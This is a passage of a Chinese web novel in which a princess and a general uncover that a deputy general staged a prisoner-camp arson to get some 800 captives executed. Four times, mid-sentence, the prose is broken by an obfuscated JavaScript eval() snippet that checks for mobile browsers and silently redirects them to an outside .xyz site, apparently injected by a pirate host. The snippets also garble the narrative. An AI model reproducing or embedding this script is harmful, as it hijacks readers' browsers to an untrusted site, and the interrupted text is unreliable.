杨百寻:“是属下觉得今天是篝火晚会,南萧将士们都在庆祝,不如也给北胤的俘虏们送点吃的,改善一下他们的伙食。因此,属下派了两名士兵,推着一车食物去战俘营,分给那些战俘。 没想到,战俘们打晕了那两名士兵,脱下了他们身上的军服,自己穿上。” 说着,杨百寻就让人把那两名纵火的俘虏押上来。 这两名俘虏一个矮胖,脸上有痣;一个瘦高,脸色发红,都是一副垂头丧气的模样。 他们被南萧士兵押着,跪在任将军面前。 任将军问:“你们叫什么名字?” 那矮胖俘虏道:“庞阿大。” 那瘦高俘虏道:“白满福。” 任将军:“你们的火种是哪里拿来的?” 按理说,俘虏被俘了之后,身上的东西都会被搜刮干净。南萧军队虽然养着他们,但不可能给他们任何危险的东西。 庞阿大:“是我们之前趁人不注意,偷的火折子。” 任将军:“今日纵火,是你们两个人的主意,还是所有北胤俘虏的主意?” 庞阿大和白满福对视了一眼,犹豫着没开口。 百夫长杨百寻狠狠地打了他们的头,喝道:“快回话!” 白满福一边捂着头,一边说道:“是……是我们全体俘虏的主意……我们想纵火之后,趁乱逃走……就算逃不走,能烧死几个南萧士兵也是好的。” 杨百寻怒道:“岂有此理!我们好吃好喝地供着你们,你们竟然起了这种心思!” 任将军身边有个魁梧的副将,叫高天阔,对任将军说道:“将军,这些战俘恩将仇报,不如全部杀死,以免留下后患。” 杨百寻道:“若杀降卒,对将军名声不利。依属下之见,不如把这两个纵火之人处死,剩下的战俘都严加看管,过几天将他们运回京城,提前分给各个有功的将士家。” 南萧国对战俘的处理,也是分给功臣或勋贵当奴仆。 敌国的将士很少会收编到本国的军队中,怕他们有二心,在作战时背叛。 任将军有些犹豫,不知如何处理为好。 杀降卒肯定会有损名声,但若是不杀,这些降卒已经有了二心,还纵火了,留着确实是祸患。 副将高天阔道:“将军,别犹豫了,这些人死有余辜!” 说着,他拔出自己的佩剑,将庞阿大、白满福二人杀了。 鲜血飞溅,在场之人都是一惊。 杨百寻不满道:“高副将,将军还未发话,你怎能擅自杀人?” 高天阔道:“这种纵火犯留着不杀,才对将军的名声有碍!是那八百降卒要紧,还是南萧士兵的军心要紧?这么多士兵的帐篷被烧,我们总该给士兵们一个交代才是。” 任将军知道高天阔一向冲动,便摆了摆手道:“罢了,杀了便杀了。只是剩下的八百多名降卒,先留着吧,待本将军考虑一下该如何处理。” 高天阔道:“将军,有什么好考虑的?他们是共犯!” “战俘也是战利品之一,本应分给有功的将士。如果全杀了,恐怕那些有功将士心里会有意见。” “那些降卒本就有罪,将军不过是依法处死,谁敢有意见?” 任将军道:“先别吵了。” 剩下的几名副将,也有劝任将军杀死全部降卒的,也有劝他息事宁人的。 任将军并未作出决断。 过了一会,任将军看向姜柠和二皇子,道:“大公主,二皇子,您二位怎么看?” 二皇子道:“军中之事,我不便发表什么意见,任将军自行处置便是。” 姜柠是第一次看见血淋淋的杀人现场,还在惊吓之中。见任将军问自己的意见,她缓了缓情绪,道:“军中之事,自然全凭将军做主。不过我觉得,是否应该审问一下那剩下的八百多俘虏,看他们的态度如何,再做决定。 人都有从众心理,也许很多战俘心里不愿意反叛,但受到一些为首者的鼓动,不敢提出反对意见。若是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146966|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可以从宽处理。若是那八百多俘虏铁了心要反叛,那就只能从严处理了。” 任将军点头道:“公主所言有理。即便是敌国战俘,也要给他们一个辩驳的机会。” 副将高天阔道:“属下认为不可。您现在去问他们,他们肯定说自己不想反叛,一切都是死去的这两名战俘的主意。说谎谁不会呢?他们为了活下去,肯定会砌词狡辩。留着他们,只是为未来留下隐患罢了。将军既犹豫不决,这杀降卒的名声,就由属下来担着吧。来人,跟我去战俘营!” 高天阔的亲兵们便跟着他往外走。 任将军赶紧阻止道:“站住!高天阔,你又自作主张!” 高天阔:“属下也是为了大局、为了将军考虑!” 其他副将劝道:“高副将,你怎可越过将军,自己做决定?” “是啊,方才你擅自杀了这两名纵火的俘虏,已属出格。还好将军未曾跟你计较,你千万不可再自作主张了。” 高天阔道:“你们胆小怕事,我却不怕!” 正在争执之际,有两个士兵走了过来,对着任将军跪下。 这两个士兵没穿铠甲,只穿了常服。 他们看起来有些憔悴,脸色也很颓丧,对任将军道:“将军,我们二人方才送食物给战俘们,却在半路上被打晕,铠甲也被庞阿大、白满福二人剥去。他们穿了我们的铠甲,假扮成南萧士兵,这才骗过了岗哨,进去纵火。 我们被其他同袍发现,安置在帐中,刚才醒来之后,得知发生的一切,后悔莫及。知道将军在此,我们赶紧出来请罪,一切罪责都在我们二人身上,还请将军不要怪罪我们的上级和同住的士兵们。” 任将军道:“你们两个起来吧,这事是战俘们有心算无心,也不能全怪你们。你们受惊了,还是先回去休息吧。” 这二人喜出望外:“是,多谢将军不怪罪我们。” 姜柠忽然道:“任将军,您不觉得此事有疑点吗?” 任将军问:“有何疑点?” 姜柠:“战俘们既然已经决意纵火,趁乱逃走,那便是彻底跟南萧国这边撕破脸了。既然如此,他们为何要留着这两个士兵的性命呢?直接杀了他们,再取走铠甲岂不是更好?他们既然已经做出了放火的事,难道南萧将士会因为他们没杀这两个士兵,就原谅他们吗? 而且,庞阿大、白满福二人烧了那么多帐篷,竟然恰好烧的全是没人的帐篷,一个南萧士兵都未曾受伤,这是不是也太巧了一点?” 任将军皱眉道:“确实如此……” 姜柠接着说道:“还有第三个疑点,那就是战俘营那边怎么会知道有两个南萧士兵来送吃的,在半路上伏击他们?南萧军队这边,是不是有内应? 如果战俘们是见到这两个士兵来送吃的,才临时决定要打晕他们,抢走铠甲,去南萧兵营这边放火,那还说得过去。可是,这两个士兵明明还没走到战俘营门口啊。说明庞阿大、白满福两人,早就知道会有两个南萧士兵过来,才会一早就埋伏起来。” 24. 伏击(修) 任将军深以为然:“没错,也许此事还有隐情……” 副将高天阔道:“我看,这些事情都只有一个解释。” 任将军问道:“什么解释?” 高天阔道:“那就是,这两名士兵就是战俘营的内应,是他们跟庞阿大、白满福串通好,让庞阿大二人打晕他们,就可以抢走他们的铠甲,进南萧兵营里纵火。所以,庞阿大二人才没有杀了他们,而只是打晕了他们。 至于庞阿大、白满福烧的都是没人的帐篷,是因为他们只想引起混乱,并不想被当场抓住。如果他们去烧有人的帐篷,首先很难烧死人,因为士兵从起火的帐篷中跑出来还是比较容易的。第二点,他们离南萧士兵越近,也就越容易被抓住。” 这两名失去铠甲的士兵慌了,赶紧说道:“不关我们的事啊,我们并未跟北胤战俘串通。再说,我们这样做有什么好处?” 任将军道:“你们先别慌,凡事都要讲证据,本将军不会随随便便将你们治罪的。你们叫什么名字?” 其中一个士兵答道:“回将军,我叫冯有全,他叫钱进。我们都在虎贲军中七八年了,忠心耿耿,我们的长官可以作证。” “当时,你们确实是在半道上被伏击的?” 冯有全道:“是的,当时我和钱进各推着一辆手推车,车上放了一些食物,这是给北胤俘虏的加餐。他们的晚餐早就已经送去了,他们应该不会知道我们会送加餐才对,除非有人通知他们。这一点,我和钱进也很怀疑。” 任将军:“你们有怀疑的对象吗?” “没有,我们并不知道谁跟北胤俘虏串通,让他们在半道上伏击我们。” “当时,你们完全没有察觉,直接被打晕了?” “是的,庞阿大、白满福是从后面偷袭我们的,我们没有防备。等我们被伙伴们救下,醒过来之后,才得知这两个纵火犯的名字。” “当时还有没有其他异常?” “好像没有。” 百夫长杨百寻道:“将军,确实是我叫这两个士兵去送加餐给俘虏们的,但怎么会被北胤俘虏提前知道,这就不得而知了。” 任将军问道:“当时你下这个命令,身边有其他人吗?” “有,我是当着很多士兵的面说的。” 任将军沉吟道:“这就难办了……” 知情者太多,反而不好确定怀疑的对象。 姜柠道:“任将军,此事看起来并不简单,是否应该多加调查,再做决定?” 任将军点头道:“不错。先去战俘营看看那些俘虏。” 战俘营离南萧兵营有一段距离,而且是建在一片密林里的,从外面看并不能直接看到战俘营的情况。 众人往战俘营的方向走去,在林子周围看到了一片被压倒的草地。有的像是被人压倒的,有的像是车辙的痕迹,还依稀可以看见一些杂乱的脚印。 任将军问那两个遇袭的士兵:“你们就是在这儿遇袭的?” 士兵冯有全道:“是的,当时我和钱进推着手推车到这里,然后就被打晕了。这些倒下的草,应该就是被我们压倒的。后来,伙伴们看见了我们,就把我们搬回营帐里,还把手推车和上面的食物一并运了回来。” 姜柠问道:“食物有没有减少?” “没有。” 姜柠陷入了沉思。 过了一会,众人来到了战俘营。 战俘营并不是帐篷,而是把以前的一些居民建筑改建而成的。 几间房屋被打通,这样能容纳更多的人。 院墙很高,而且上面粘满了碎玻璃、碎瓷器、刀剑碎片,每一片都很锋利。想要从墙上爬出来,不太可能。就算有人能忍痛爬出来,墙上必定会留下血迹。 可如今乍一眼看过去,没看到明显的血迹。 战俘有八百多人,全被关在一起。为了防止他们发生动乱,这里有六十个南萧士兵把守巡逻,有异常情况可以随时报告。 而且,这些房屋经过加固,所有的门都锁着,从里面打不开。 看守战俘营的士兵队长叫孟休,职位是百夫长。 他是个神色有些忧郁、身材比较瘦高的中年人,见到任将军到来,赶紧过来请罪:“将军,属下一时不查,让北胤俘虏庞阿大、白满福二人逃脱,去兵营纵火,还请将军恕罪。” 任将军道:“无妨。现在最重要的,是搞清楚那两个人是如何逃出去的。” 孟休问道:“庞阿大和白满福二人没招供吗?若是不招,可以用刑。” 任将军道:“那两个纵火犯已经被高天阔杀了。” 孟休疑惑又震惊地看向高天阔,高天阔有些不满地看了回去:“干什么?你有意见?那两个纵火犯死有余辜。” 孟休道:“他们固然死罪难逃,可你也太急了些,该问的还没问出来,就杀了他们。” 高天阔哼了一声,道:“你的意思是责怪我?你是看守战俘营的,两个纵火犯从你这里逃出去,你竟然一点也不知道?” 孟休有些理亏,便低下头,不再说话。 姜柠问道:“孟大人,那两个纵火犯是如何逃走的,你有端倪吗?” 孟休摇头道:“没有。我手下的人一直在巡逻,未曾懈怠,按理说没有人能从我们眼皮子底下逃出去。” 姜柠:“会不会是今天晚上要举办篝火晚会,大伙都太兴奋了,所以看守的时候不太用心?” “不会,我三令五申,让手下们不得分心,轮到他们去参加晚会时,我自然会带他们去。在那之前,若是出了一点差池,军法处置。所以,士兵们都认真巡逻,不敢分心。” 姜柠:“这就怪了……也就是说,没有人看见庞阿大和白满福是什么时候逃走的,怎么逃走的?” “对,纵火案发生后,我第一时间问了手下的士兵,他们都说不知道。而且,墙上有这么多碎片,如果真有人忍痛爬出去,应该会留下血迹才对,可是没有。” 任将军道:“把所有看守战俘营的士兵都叫来,本将军要亲自询问。” 孟休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146967|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是。” 孟休一共叫了一百二十名士兵过来,因为这些士兵是六十人一组,两班倒,看守着战俘营的。 任将军问道:“今天晚上,你们可有发现战俘营有什么异常?” 众士兵都说:“没有。”“跟往常一样,我们也是看到兵营那边起火了,才知道出事了。” 任将军:“你们认识庞阿大、白满福二人吗?” “只能说有印象,但脸和名字对应不上。这些战俘被俘已经几个月了,小人们日夜看守,也对他们有了大致的印象。但要记住所有人,那是很困难的,最多只能记住其中几个人而已。” 任将军:“如果他们从你们眼皮子底下走过,你们能认出来吗?” 士兵们互相看看,都不知道怎么回答,或者说难以给出准确的答案。 一个老成的士兵说道:“大概有两三成把握能认出来,但如果对方穿了南萧士兵的衣服,再稍加伪装,可能就认不出来了。” 其他士兵也是这样的说辞。 姜柠问道:“是不是那两名纵火犯混在你们当中,跟你们一起巡逻,趁你们不备再偷偷离开?” 这些士兵想了想,同样难以回答。如果庞阿大、白满福二人确实混在巡逻士兵当中,那这些士兵罪责难逃,此刻他们心里都有些害怕。 但主要原因是,他们不能确定是不是这样。 有个士兵说道:“我巡逻时,好像没看见什么陌生面孔。” 另一个士兵:“是的,我也没看见。” 有个士兵说道:“那两名纵火犯到底有没有混在我们当中,我们说不好,因为当时没注意。” 百夫长孟休说道:“应该不会,因为今天晚上战俘营的门只开了一次,就是给战俘们送晚饭的时候。士兵们把晚饭放到门里,然后就关上了门,再也没有打开过。这些日子,送饭都是这么送的,战俘们听见门这边的声音,就知道饭来了,他们会自己来拿。 开门的时间很短,而且当时我就盯着看,确实没人出来。” 任将军道:“他们没有从大门出来,也没有从墙上爬出来,莫非是飞出来的不成?” 百夫长杨百寻道:“这两名纵火犯是属下抓到的,打斗过程中,属下发现他们武艺平平,应该不会轻功,不可能飞出城墙才是。” 孟休流出了冷汗:“这……我确实不知道那两个纵火犯是如何出来的。” 杨百寻有些失望地看着他:“孟休,你一向细心,怎么会一点线索都没有?” 孟休心里也不好受,喃喃道:“如果那两名纵火犯没被杀就好了,现在还能审问一下……” 高天阔大声道:“你在说什么?” 孟休赶紧解释:“我没有怪你的意思……” 其他副将也来劝解:“好了,现在不是责怪其他人的时候,最重要的是找出真相。” “是啊,也许问问其他战俘,就明白了。” 眼下没有别的法子,任将军便叫孟休开门,走进了战俘营。其他人也跟了进去。 25. 夜逃(修) 八百多战俘都被集中在中央区域,四周有许多重甲士兵把守。 这些战俘的神色都惶恐不安,而旁边的南萧士兵们都是一脸防备和仇恨。 北胤战俘和南萧士兵本就属于不同的国家,立场天然对立,更何况现在北胤的战俘烧了那么多帐篷,许多普通士兵的物资都没有了,南萧士兵们自然对这些俘虏心怀敌意。 百夫长孟休道:“本来里面是没有南萧士兵把守的,自从纵火案发生后,属下就调了这些精兵来,看守着这些战俘,以免发生其他动乱。” 任将军点头道:“你做得很好。他们可有说什么?” 孟休:“他们一直在求饶,还说纵火一事跟他们无关。” 任将军皱眉看着这些俘虏。 任将军气场凌厉,接触到他的目光,许多战俘弓着身子,眼睛看着地下,不敢直视任将军。 有几个胆大的战俘说道:“任将军,真的不关我们的事啊!” “是啊,那两个纵火的俘虏,我跟他们都不太认识,也没说过几句话。” “我们从来没想过要纵火啊!我们被俘虏到这里,只想好好活下去,不可能作死的。” “是啊,我们从来没商量过纵火的事,肯定是庞阿大、白满福他们两个自作主张!还请任将军叫他们过来,我们不怕跟他们俩对峙!” 任将军道:“那两个纵火犯已经死了。” 战俘们纷纷哀嚎:“这……这怎么办?”“还有谁能证明我们是清白的?” “他们俩确实该死,但别杀我们啊!我们不想死!” 任将军冷冷道:“你们的清白,自然要自己来证明。证明不了,就只能当成那两名纵火犯的同谋了。” “可是……可是我们要怎么证明我们没有跟庞阿大他们同谋?” “是啊,如果我们确实合谋了,那也许还留下了一些证据。但没有做过的事,要怎么找证据?” 任将军也知道让他们提供证据是难为他们了,可眼下也没有别的办法。 已经有其他副将在劝任将军:“将军,对敌人的仁慈就是对自己的残忍。您直接问他们是不是纵火犯的同谋,他们当然不承认了。依末将看,没什么好问的,反正也才八百多人,直接杀了算了。” “是啊,虽然杀降卒名声不好,但八百人不算什么。还有的将军杀了好几万降卒呢。” “把这些人留下,后患无穷,万一他们再搞出什么事情怎么办?” 任将军已经快被说动了。 姜柠忽然想到了什么,问看守的士兵们:“在纵火案发生的时候,这里的降卒有没有发生动乱,或是想偷偷逃走?” 士兵们说道:“好像没有,他们跟往常一样,安静地待着。” 姜柠对任将军道:“任将军,这有些奇怪。如果这些降卒的目的是一起逃走,在纵火案发生的时候,他们就应该叛变了,或是跟看守的士兵打斗,或是偷偷挖个地道逃走,绝不可能毫无动作。” 任将军沉思道:“确实……” 副将高天阔道:“也许,他们是在等待时机。他们觉得看守战俘营的士兵迟早也会去救火,等所有士兵离开,他们就能逃走了。” 姜柠:“这不合逻辑,看守战俘营至关重要,这里的士兵不会轻易离开。哪怕真的要去救火,也会留下一部分士兵看守的。” 高天阔:“只要留下的士兵比较少,这些战俘就有希望冲出去。” 正在争执不休之际,有个年老的战俘站出来说道:“各位将军容禀,我有证据证明我们没有叛变。” 任将军道:“什么证据?” 老战俘说道:“将军,我和我的两个儿子一起被俘,我们知道自己肯定会被分给达官贵人做奴隶。但是,我还是想跟我儿子们分到一处,不想分开。于是,我们父子三人就凑了钱,交给一个副将,请他把我们父子三人一起挑走。这样,哪怕是做奴隶,只要父子团聚,对我们来说就是一大幸事了。 我们都已经在为自己的将来考虑了,怎么可能冒着生命危险逃走呢?我们才八百多人,根本不可能逃得出去。 据我所知,还有另外一些战俘也在偷偷打点各位军官,希望军官把自己和亲朋好友分到一处。” 任将军问各位军官:“有这回事吗?” 有个叫李璇的军官道:“将军,确实有几个战俘偷偷给末将钱,说是希望末将在挑选奴隶的时候,把他们几个都挑走,因为他们不想分开。这件事,末将没有禀告将军,还请将军恕罪。” 任将军自然不会计较这种小事,直接说道:“贿赂你的是哪几个俘虏?” 李璇便指了其中几个俘虏。 那几个俘虏也承认,自己凑钱交给了李璇。 任将军又问刚才那个老兵:“你们父子三人的钱交给谁了?” 老兵答道:“交给了一个叫邢玉楼的副将,我们听说他对下人很好,所以想到他家去。” 任将军对身边的亲兵道:“去把邢副将叫来。” 很快,邢玉楼就到了。 任将军问他这件事,他直言不讳:“确实有这件事,末将答应会把这老兵父子三人都带到我家去,让他们不必分开。末将本不想收钱,这老兵却不放心,说收了钱他才能相信我会履行诺言。于是,我只好收了钱。” 接下来,还有一两个军官承认了收了战俘钱的事情。 姜柠说道:“任将军,这样看来,其实这些战俘是想好好活下去的。他们不可能一边贿赂军官,一边又谋划反叛。依我看,此案的详情恐怕并不简单,不能因为两个纵火犯已死,就揭过去了。” 任将军点头道:“没错,确实有待详查。” 高天阔道:“公主和二皇子应该累了,不如先回去休息吧,军中的事我们会查的。” 姜柠觉得自己管太多确实不合适,不然显得自己想插手军务似的。 于是,她就跟二皇子先离开了。 姜柠回到房间,冬香和小雪已经放好洗脚水,并给她准备好水果。 冬香问道:“公主,刚才在篝火晚会上,应该没吃好吧?要不要奴婢下厨,再做点什么吃的?” 姜柠忽然说道:“不对。” “哪里不对?” “哦,不是跟你说……我要去找二皇子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146968|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “可是,这洗脚水……” “你们洗吧,我不洗。” 姜柠来到二皇子房门前,问侍卫:“二皇子睡了吗?” 这时,二皇子的声音从房内传来:“我还没睡,皇姐有事吗?” “确实有事。” 二皇子便走了出来。 姜柠道:“我觉得,刚才我忽略了一件事。” “什么事?” “我们觉得,那两个纵火犯应该没法从守卫森严的战俘营中逃出来,可是,也许他们一开始就不在战俘营里面呢?” “皇姐这是什么意思?” “我是说,如果有人提前把庞阿大、白满福二人放了出来,那他们自然就可以偷偷抢走铠甲并纵火了。” 二皇子道:“战俘们都关在一起,如果两个纵火犯突然离开,其他战俘应该会发现的,那他们刚才怎么不说?” “会不会是在昨天深夜时,大家都在睡觉,有人偷偷把庞阿大二人放出来?这样,其他战俘就发现不了了。” “皇姐说的有理,可是军官们似乎不太希望我们插手军务,不如我们就别管了吧?” “我觉得可以把这个线索提供给任将军,至于他怎么用,就是他的事了。” “也好,那我们再去一趟军营。” 姜柠和二皇子一起来到军营,把自己的猜测说了。 任将军道:“公主的意思是,那两个纵火犯昨天晚上就被人偷偷带出来了?” 姜柠:“我觉得有这个可能,任将军可以从这个方向查。” 任将军叫来看守战俘营的队长孟休,问他:“这两天,有人从战俘营带走什么人吗?” 孟休道:“应该没有吧。” “你每天都清点战俘营的人数?” “这倒没有,好几天没清点了。” “这两天有其他人靠近战俘营吗?” 孟休想了想,道:“只有高天阔高副将昨天晚上来接替我的班,让我休息一下。今天早上,我们就换回来了。” 任将军微微皱眉:“这么说,昨天晚上你不在战俘营,是高天阔在?” “对。” “你把昨天晚上巡逻的所有士兵叫来。” “是。” 很快,六十名士兵就站在任将军面前。 看守战俘营的士兵,是一百二十人两班倒,晚上是这六十人巡逻,白天是另外六十人巡逻。 任将军问他们:“昨天晚上,高天阔高副将是不是接替了孟长官的班?” “是的。” “昨天晚上有发生什么异常吗?” “没有。” “任何时候都有人跟在高副将后面吗?高副将有没有落单的时候?” “一直有人跟着,不过三更天的时候,高副将说好像看见前面有人影,叫身边的士兵们去看看。那会他身边的士兵离开了,暂时没人跟着他。” “昨晚庞阿大和白满福二人在战俘营里吗?” “应该在吧,他们不是今天才逃出来,偷偷纵火吗?” “你们亲眼看见他们两个在战俘营里?” 26. 承认(修) “这倒没有,不过院墙这么高,他们也逃不出来啊。就算爬墙而出,也一定会被巡逻的士兵发现。” “好了,你们先回去吧,别把刚才的话泄露出去。” “是。” 六十名士兵整齐地行了个军礼,就离开了。 任将军道:“看来得重新去战俘营问问。” 姜柠道:“那我和二皇子就先离开了。” 任将军道:“不必离开,公主和二皇子聪慧,说不定能帮上我的忙。” 于是,姜柠和二皇子便跟着任将军,再次回到了战俘营。 战俘营已经有更多的将士把守,里三层外三层的。 高天阔也守在这里,他见到任将军,问道:“将军,您可下定决心了?只要您一声令下,我们马上把里面的战俘都杀光。” 任将军道:“不急。本将军还有些事要问他们,你们都先退开。” “是。” 任将军走进了战俘营,战俘们又纷纷讨饶。 任将军道:“安静!本将军问你们一件事。纵火的庞阿大、白满福二人,是不是从昨晚就不见了?” 战俘们面面相觑:“我们不知道……” “那么,有谁今天白天还在战俘营里看见过他们?” 战俘们回忆了一下,都说不确定、没注意。 姜柠问道:“你们当中有谁跟白满福、庞阿大二人相熟?” 有几个战俘站出来说道:“我们跟他们二人比较熟悉,但是这些天,我们因为被俘太久,身心疲惫,也顾不上管旁人,整天都是垂头丧气地坐着。所以,我们也没有注意庞阿大、白满福二人在不在。但是他们应该是在的,不然还能去哪里呢?” 姜柠:“也就是说,这只是你们的推测?” “是的。” 姜柠道:“有谁能确切地说出今天白天庞阿大、白满福二人是不是在战俘营里,本公主就赏他二两银子。” 这些战俘们虽然都很想要银子,但他们要么跟庞阿大二人不熟悉,要么就是没注意,竟无一人能给出准确的答案。 任将军低声对姜柠道:“公主,您的猜测可能是真的,只是现在没法验证。” 姜柠道:“我倒有一计。” 她对任将军说了几句话,任将军认为可行。 接着,任将军叫了几名战俘过来,说道:“你们陪本将军演一出戏,如果演得好,本将军有赏。” 几名战俘问道:“将军,要如何演戏?” 任将军低声对他们耳语几句,他们连连点头。 接着,任将军把这几名战俘带到了一个空着的帐篷里。 帐篷的后面有一块帘子,任将军让姜柠和二皇子躲在帘子后面看。 接着,任将军派人叫了副将高天阔来。 高天阔问道:“将军,您叫我何事?” 任将军道:“高副将,你是容城人,你的家眷都在容城。可是,容城被北胤军队攻占当日,你的家眷全部被杀。混乱之中,也搞不清究竟是哪些士兵杀了你的家眷,想必你一定怀恨在心吧?” 高天阔露出沉痛而愤恨的表情:“没错,末将势要夺回容城,为枉死的家人和百姓报仇。” “你想要的,恐怕不止是夺回容城,而且要尽可能多地杀死北胤的将士吧?因为你搞不清究竟是谁杀了你的亲人,你就想着,宁可杀错,也不放过。” “将军,末将自然视北胤人如同仇人,如果有机会,自然想多杀敌人,这样才能削弱北胤,保护南萧国。不过,末将有这种心理,也并非只为了私仇,也是为了南萧国考虑。” “本将军无意评判你的想法。不过,你想把整个战俘营牵连进来,泄你的私愤,就有点过分了吧?战场的传统,是不杀降卒。他们既然已经投降,便该放他们一条生路才是,不能把莫须有的罪名安在他们头上。” “将军此言,末将不知道是什么意思。” “昨天晚上,你接替了孟休的班,帮他监视战俘营?” “对,因为我看他最近太辛苦了,所以替他值班。” “你在值班期间,把战俘庞阿大、白满福偷偷带了出来,并藏匿起来,让他们趁着今天篝火晚会的时间,跑到南萧兵营放火,制造混乱。然后,再把这个罪名推到所有战俘头上,就能顺理成章地杀掉所有的战俘。” “将军,冤枉啊!您是听谁说的谣言?” 任将军看向其中一名战俘:“你来说。” 那名战俘道:“是。昨天晚上,小人睡不着,半眯着眼睛,没有动弹。小人看见高副将偷偷走了进来,拍了拍庞阿大、白满福的肩膀,让他们跟自己离开。庞阿大、白满福就偷偷站了起来,跟着高副将离开了战俘营。” 还有几名战俘说道:“没错,我们也看见了,我们只是在假装睡觉。” 高天阔怒道:“你们说谎!明明不是这样的!” 任将军道:“不是这样的,那是怎样的?” “昨晚我只是巡视战俘营,但并未走进去,更未曾叫庞阿大、白满福二人起来。将军,这些战俘本就是北胤人,他们的目的是让我们失和,千万不能中了他们的挑拨离间之计啊!” 任将军不动声色:“照这么说,他们是在说谎?” 这些战俘赶紧说道:“没有啊,我们没说谎!”“是高副将在说谎!” 高天阔一脸愤怒:“你们这些可恶的北胤人!” 任将军接着说道:“其实,庞阿大、白满福二人虽然是受人指使,但他们也不傻,他们偷偷扯下了主谋者身上的一件东西,藏在自己的衣服里。之前本将军没发现,但重新验尸时发现了。” 高天阔下意识地往自己身上摸,忽然,他意识到不对,但已经来不及了。 任将军道:“高天阔,本将军只说两名纵火者偷偷扯下了幕后主谋身上的一件东西,如果你不是幕后主谋,为何要摸自己身上呢?” 高天阔张目结舌:“我……末将……” “怪不得你当时急于杀死那两名纵火者,更不停地鼓动本将军杀死所有战俘,原来这一切都是你谋划的。还好本将军足够冷静,没有被你牵着鼻子走。” 高天阔跪下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146969|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“没错,是我偷偷把庞阿大、白满福二人带出来,但我提前跟他们约好,等我模仿蟋蟀的叫声,他们就出来找我。昨天晚上,我明明是支开其他人后,模仿蟋蟀的叫声,他们两人自己走出来找我的。并不是这些战俘所说的,我进了战俘营,偷偷拍了庞阿大和白满福的肩膀。 所以,是我设计纵火案不假,但这些战俘也在编造谎言,其心可诛。我行迹败露,固然死而无怨,但这些战俘,更是死有余辜!” 任将军盯着他,道:“这些战俘所说的假话,是我让他们说的,目的就是诈出你的真话。” “这……” “高天阔,我本以为你是个拎得清的,没想到会做出这种事。怪不得那两名纵火犯并未杀死送餐的两名士兵,也只烧了一些没人的帐篷,好像生怕有南萧士兵受伤一样。如今看来,从哪两个士兵那里抢铠甲,又要烧掉哪些帐篷,全是你事先策划好的。” “没错,我就算想杀了这些战俘,可我从来没想过伤害南萧的将士。所以,我对庞阿大二人说,他们要是敢伤了南萧将士一人,我会让他们死得很惨。” “你是如何让他们听你的话的?” “我对他们说,只要帮我完成纵火案,虽然我会亲手杀了他们,但也会让他们的家人过上好日子。” “他们如何相信你能做到?” “因为我府上有几名奴隶,正是庞阿大、白满福的亲人,是在以前的战役中被俘虏的,分到了我家里。我跟他们说,我会善待他们的家人,等过几年,就让他们的家人恢复自由身。” “原来是这样。你的所做作为,毕竟违反了军法。念在你有战功,以功抵过,削去军职,罚做普通士兵吧。” 高天阔嚷道:“将军,我不服!我能做到如今的位置,都是真刀真枪打出来的!这些战俘都是敌人,本就该死,我不认为我有什么错!” “如果你在战场上遇见他们,拼个你死我活,本就天经地义。可他们是降卒,不杀降卒是所有军士默认的。” “可是,他们杀了我的亲人!” “是他们杀的吗?你有证据吗?还是你亲眼看见了?你在容城的亲人一共十个,总不可能这八百多人每人都砍了一刀吧?那还不砍成肉酱了?如果你调查清楚,发现这八百多战俘中确实有几名是杀了你亲人的人,那你要杀掉他们报仇,本将军也能允准。 但是,你并未调查,而是把仇恨发泄到他们所有人身上,还设下这样的计谋,妄图让他们被杀,这就过分了。 而且,你以为你只烧了帐篷就没事吗?帐篷也是军中财产,帐篷里的东西虽不名贵,也是很多士兵们行住坐卧离不开的物资。光是故意烧毁物资这条,就足够判你死罪。 如今本将军网开一面,只是罚你做普通士兵,你不要再争辩了。以后,你就到孟休手底下干活吧。” “我武功比孟休高,资质比孟休老,为何要屈居他之下?” “因为他没有策划纵火案,你策划了。这个理由够充分吗?” “……” 高天阔无言以对,走了出去。 27. 取名(修) 几个战俘战战兢兢地问任将军:“将军,不杀我们了吗?” 任将军道:“你们放心,你们能活下去的。” 